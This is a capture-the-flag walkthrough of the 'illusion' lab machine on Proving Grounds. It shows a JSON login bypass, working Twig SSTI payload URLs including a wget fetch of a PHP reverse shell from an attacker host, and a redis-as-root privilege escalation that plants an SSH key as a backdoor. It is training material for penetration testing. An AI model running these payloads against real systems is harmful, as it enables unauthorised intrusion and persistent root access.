Proving Grounds illusion Walkthrough

SxEl
6 min readJun 12, 2022

--

Hi, today Iam going to walk you through illusion, a new, medium rated Proving Grounds Practice box.

Although this box was medium difficulty the initial access was not obvious whatsoever and it took me a while to gain a foothold, the privesc was pretty easy as long as you figure out one simple thing.

Running nmap we can see only port 22 and 80 are available.

On port 80 there is a website running with a couple of options.

Running gobuster reveals 3 directories:

Off the bat there is a very limited attack surface. After checking out /vendor i noticed that twig was present, a php template engine.

http://192.168.191.203/vendor/composer/installed.json

After searching for an exploit on the exploit database I found twig versions before 2.4.4 are vulnerable to Server Side Template Injection, a vulnerability caused by unsanitized user input, and it can lead to Remote Code Execution.

To successfully exploit this vulnerability I had to find some sort of parameter where i could inject payloads.

The only logical place where that could be possible in this case is dashboard.php, unfortunately to access that page login is necessary.

So I gathered usernames from the home page and attempted a small password-spraying attack. Password-Spraying is an attack where you bruteforce authentication with a list of usernames and try to guess some potentially weak passwords.

Adding usernames to burpsuite intruder

Unfortunately none of my passwords worked and i was back to ground zero.

failed password-spray

My next move was to try to access dashboard.php by using the match and replace feature in burpsuite to blacklist response headers containing redirects to /login.php, replacing it with /dashboard.php.

This did not work out. At this point i was getting kind of stressed, but after multiple attempts at SQL injection bypass i went to hacktricks and tried some of the payloads, since the responses i was getting where already diffrent from regular requests i figured i was on the right path, i also remember watching this ippsec video (which btw is a great video if you like WebApp penetration testing) a couple of months ago.

If you navigate to minute 9:50 you can see he bypasses login by inserting true into the password field, which usually has double quotes: “password”: “password”. But by changing it to “password”: true, the application thinks the password i submitted is correct and i bypass the login.

ippsec example
payload to bypass login

Great, now Ihad bypassed authentication and had access to dashboard.php:

We can see it’s some sort of form to request orders, when entering test in the name field something interesting happens:

http://192.168.191.203/dashboard.php?name=test&submit=Submit+Query

Very nice, now i have two parameters to work with. I immediately got to work trying to exploit the SSTI in twig < 2.4.4, this was by far the easier part of this machine.

http://192.168.191.203/dashboard.php?name={{7*7}}&submit=Submit+Query

As you can see the SSTI vulnerability is present and working well. Okay, now i had SSTI but still not RCE, to get within the machine i had to try a lot of different stuff, eventually i found this very useful cheatsheet on github.

The final payload that seemed to work was this one:

{{_self.env.registerUndefinedFilterCallback(%22exec%22)}{{_self.env.getFilter(%22id%22)}}

http://192.168.191.203/dashboard.php?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22id%22)}}&submit=Submit+Query

Great, now that i had Remote Command Execution i had to gain a full shell on the target. To do this i used wget to transfer and safe pentestmonkey’s php reverse shell within the web root

This is the payload i used to transfer over the shell

http://192.168.191.203/dashboard.php?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22wget+x.x.x.x/shell.php+-O+/var/www/html/shell.php%22)}}&submit=Submit+Query

This worked and i managed to gain a foothold on the target:

gaining a reverse shell

Privilege Escalation

Now, here is where things got tricky, even tho they should not have.

When looking at the network information and the processes running on the machine I noticed redis was running on localhost as root.

I also found a file called redis-openssl-gen-pass.txt in the home of a local user.

I though this was a hash and tried to find what exactly it was but couldn’t manage to figure it out.

From here Itried everything on hacktricks about redis but always got access denied.

trying to load module to execute commands

After a couple of hours struggling with the privilege escalation i gave up and went to sleep, later the next day i figured that since the boxe’s name was illusion couldn’t it be that i’ve been tricked? You see, the “hash” is not a hash at all, it’s the password for redis, and even tho i didn’t figure this out immediately i was so glad when this worked and i got access to a process running as root.

accessing redis with the long password

Now the actual privesc was easy enough, im pretty sure that by following any of the methods shown on hacktricks it was possible to escalate.

I went with the ssh method since it is the most stable shell and it also acts as a backdoor in case i want to access that machine in the future.

This was very straight forward, first of all i forwarded port 6379 on localhost to my machine using chisel (port forwarding tool):

Forwarding redis to Attack machine

Now i literally just followed the procedure outlined on hacktricks, which consisted of creating an ssh key and uploading it to the victim through redis, and since redis runs as root, i can write an ssh key for the root user.

Adding ssh keys for the root user
logging in as root

I have to say this box was far from medium in my opinion, the initial access was a hustle and the privesc, although obvious now was a real pain for a couple of hours.

Overall i have to say that this box was great practice, i learned a new way to bypass logins, exploited a SSTI and practiced some port forwarding.

--

--